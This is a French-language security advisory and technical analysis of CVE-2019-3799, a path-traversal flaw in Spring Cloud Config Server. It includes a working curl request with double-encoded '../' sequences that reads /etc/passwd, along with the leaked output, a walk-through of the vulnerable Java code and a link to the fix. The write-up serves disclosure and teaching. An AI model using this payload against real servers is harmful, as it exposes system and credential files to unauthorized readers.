
CVE-2019-3799 - Spring Cloud Config Server : Traversée de répertoire < 2.1.2, 2.0.4, 1.4.6
Spring Cloud Config Server est vulnérable à une traversée de répertoire / traversée de chemin / divulgation de contenu de fichier < 2.1.2, 2.0.4, 1.4.6
Spring Cloud Config, versions 2.1.x antérieures à 2.1.2, versions 2.0.x antérieures à 2.0.4, et versions 1.4.x antérieures à 1.4.6, ainsi que les versions plus anciennes non supportées, permettent aux applications de servir des fichiers de configuration arbitraires via le module spring-cloud-config-server. Un utilisateur malveillant, ou attaquant, peut envoyer une requête en utilisant une URL spécialement conçue qui peut mener à une attaque de traversée de répertoire.

Trouvé par Vern ([email protected])
Avis de sécurité
Analyse technique
cd spring-cloud-config-server
../mvnw spring-boot:run
curl http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Comme toujours, en lisant la documentation, nous pouvons trouver les informations pertinentes :
Service de fichiers texte brut : https://cloud.spring.io/spring-cloud-static/spring-cloud-config/1.3.1.RELEASE/#_serving_plain_text
Le Config Server fournit ces fichiers via un point d'accès supplémentaire à /{name}/{profile}/{label}/{path} où "name", "profile" et "label" ont la même signification que le point d'accès d'environnement habituel, mais "path" est un nom de fichier (par exemple log.xml).
Le Serveur fournit ces fichiers via un point d'accès supplémentaire à /{name}/{profile}/{label}/{path}
Une autre information intéressante de la documentation :
Avec les backends basés sur VCS (git, svn), les fichiers sont extraits ou clonés sur le système de fichiers local. Par défaut, ils sont placés dans le répertoire temporaire du système avec un préfixe config-repo-. Sous Linux, par exemple, il pourrait s'agir de /tmp/config-repo-
Que se passe-t-il lorsque nous envoyons http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd
@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile,
@PathVariable String label, ServletWebRequest request,
@RequestParam(defaultValue = "true") boolean resolvePlaceholders)
throws IOException {
String path = getFilePath(request, name, profile, label);
return retrieve(request, name, profile, label, path, resolvePlaceholders);
}
retrieve appelle la fonction findOnesynchronized String retrieve(ServletWebRequest request, String name, String profile,
String label, String path, boolean resolvePlaceholders) throws IOException {
name = resolveName(name);
label = resolveLabel(label);
Resource resource = this.resourceRepository.findOne(name, profile, label, path); // path: ..%2f..%2f..%2f..%2f..%2f../etc/passwd
if (checkNotModified(request, resource)) {
// Content was not modified. Just return.
return null;
}
// ensure InputStream will be closed to prevent file locks on Windows
try (InputStream is = resource.getInputStream()) {
String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
if (resolvePlaceholders) {
Environment environment = this.environmentRepository.findOne(name,
profile, label);
text = resolvePlaceholders(prepareEnvironment(environment), text);
}
return text;
}
}
findOne est appelée :public synchronized Resource findOne(String application, String profile, String label, String path) {
if (StringUtils.hasText(path)) {
String[] locations = this.service.getLocations(application, profile, label).getLocations(); // /tmp/config-repo-<randomid>
try {
for (int i = locations.length; i-- > 0; ) {
String location = locations[i]; // [1]..%2f..%2f..%2f..%2f..%2f../etc/passwd
for (String local : getProfilePaths(profile, path)) {
Resource file = this.resourceLoader.getResource(location).createRelative(local); // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
if (file.exists() && file.isReadable()) {
return file; // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
}
}
}
}
}
catch (IOException e) {
throw new NoSuchResourceException(
"Error : " + path + ". (" + e.getMessage() + ")");
}
}
throw new NoSuchResourceException("Not found: " + path);
}
retrieve lit le fichier avec StreamUtils.copyToString(is, Charset.forName("UTF-8") qui convertit /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd en /etc/passwd aboutissant à la divulgation du fichier /etc/passwd
Correctif : https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2

From 3632fc6f64e567286c42c5a2f1b8142bfde505c2 Mon Sep 17 00:00:00 2001
From: Spencer Gibb <[email protected]>
Date: Tue, 2 Apr 2019 14:16:10 -0400
Subject: [PATCH] Cleans invalid paths
fixes gh-1355
---
.../resource/GenericResourceRepository.java | 165 ++++++++++++++++--
.../GenericResourceRepositoryTests.java | 18 ++
2 files changed, 170 insertions(+), 13 deletions(-)